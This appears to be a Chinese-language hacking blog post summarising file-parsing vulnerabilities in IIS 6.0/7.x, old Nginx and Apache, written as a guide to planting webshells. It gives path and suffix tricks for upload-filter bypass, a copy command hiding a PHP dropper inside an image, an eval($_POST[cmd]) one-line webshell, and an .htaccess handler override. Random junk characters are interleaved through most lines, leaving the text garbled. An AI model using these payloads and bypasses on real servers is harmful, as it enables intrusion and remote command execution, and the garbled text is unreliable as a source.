常见服务器解析漏洞总结

admin

Author : laterain
[+]IIS6.0
4 ]7 ]& q: J( Z1 p( }
3 b# V( a/ C( N3 L5 z3 r目录解析：/xx.asp/xx.jpg
. {3 o2 x; X! x- o2 O* D3 V9 F% [: t xx.jpg 可替换为任意文本文件(e.g. xx.txt)，文本内容为后门代码
IIS6.0 会将 xx.jpg 解析为 asp 文件。
后缀解析：/xx.asp;.jpg     
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
* Z. a5 u2 S4 ^2 O7 Z; y默认解析：/xx.asa
         /xx.cer
- w" P- O6 l5 y, A& U4 C0 y) b- }         /xx.cdx
IIS6.0 默认的可执行文件除了 asp 还包含这三种
此处可联系利用目录解析漏洞
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
5 o2 Y4 n! M5 {$ _[+]IIS 7.0/IIS 7.5/Nginx <0.8.03

3 j" i, A6 z. M" c* R) V' c IIS 7.0/IIS 7.5/Nginx <0.8.03
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
% z+ m7 Z* F% ?! V$ ~& H 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
常用利用方法：
将一张图和一个写入后门代码的文本文件合并将恶意文本
写入图片的二进制代码之后，避免破坏图片文件头和尾
  [% S8 `! ?- C4 q/ S 如：
copy xx.jpg /b + yy.txt/a xy.jpg
#########################################################
/b 即二进制[binary]模式
/a 即ascii模式
xx.jpg 正常图片文件
7 m. s/ U% W( y9 J yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
# U2 j( k4 p% A/ p6 x8 }, _ '<?php eval($_POST[cmd])?>');?>
) G; P, s$ ]9 E# }1 Y# M% x 意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
2 g4 @2 _3 [# V" Z6 A8 s 为shell.php的文件
###########################################################
. ?& ?0 q) g8 P 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址，在地址后加上 /xx.php
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
: S( W& [- w' _" R 密码 cmd
6 q3 L/ M6 b7 @9 W5 c8 o  \( C[+]Nginx <0.8.03
. x8 B5 M( L3 D/ H  @/ i
' I" a3 _+ L1 ^ 在Fast-CGI关闭的情况下，Nginx <0.8.03依然存在解析漏洞
( h1 s8 a& H* T4 g 在一个文件路径(/xx.jpg)后面加上%00.php
会将 /xx.jpg%00.php 解析为 php 文件。
% V+ e5 @% T( X[+]Apache<0.8.03

后缀解析：test.php.x1.x2.x3
6 O' s" k3 k0 p0 a: s/ F Apache将从右至左开始判断后缀，若x3非可识别后缀，
1 \+ {% C% }3 j: z, P$ u* ] 再判断x2，直到找到可识别后缀为止，然后将该可识别
后缀进解析test.php.x1.x2.x3 则会被解析为php
经验之谈：php|php3|phtml 多可被Apache解析。
3 O- V/ M+ O  j; d* _: C[+]其他一些可利用的
2 k- g7 @/ @6 [- J' y) `1 W8 o
在windows环境下，xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
若这样命名，windows会默认除去空格或点，这也是可以被利用的！
在向一台windows主机上传数据时，你可以抓包修改文件名，在后面加个空格
或点，试图绕过黑名单，若上传成功，最后的点或空格都会被消除，这样就可
& {1 D5 N8 o6 d6 n5 P) x, d得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
% `1 E5 ~, s+ N* t{Linux主机中不行，Linux允许这类文件存在}
如果在Apache中.htaccess可被执行（默认不执行，这是90sec里的一位朋友说
% X6 m2 j& n. }# f9 r的，当初我并不知道），且可以被上传，那可以尝试在
.htaccess中写入:
1 M) a9 h1 r/ Y* I( c<FilesMatch “shell.jpg”>
SetHandler application/x-httpd-php
# E( A  a( B, E* I) h  \" R6 z' d</FilesMatch>
shell.jpg换成你上传的文件，这样shell.jpg就可解析为php文件
% J; v) u* h, B! u- r[+]错误修改
( b+ ?# n0 z2 ]! ~4 {9 K" s
在 IIS 6.0 下可解析 /xx.asp:.jpg
: M) h5 Q8 y7 n0 k. R; I{/xx.asp:.jpg 此类文件在Windows下不允许存在，:.jpg被自动除去
  ], A  P) D8 Q* d  ^, `剩下/xx.asp}修改：
4 p8 P" ?0 H5 H先谢谢核攻击的提醒
当上传一个/xx.asp:.jpg文件时，的确:.jpg会消失，但是现在的/xx.asp
6 X! |; w. R8 k6 Y! @8 ^1 `; F里是没有任何内容的，因为。。不好解释 大家自己看
  A/ g- N2 u0 K5 k& u. k$ ahttp://lcx.cc/?i=2448
http://baike.baidu.com/view/3619593.htm
; ?9 b4 P* S: }" y- d$ t% g​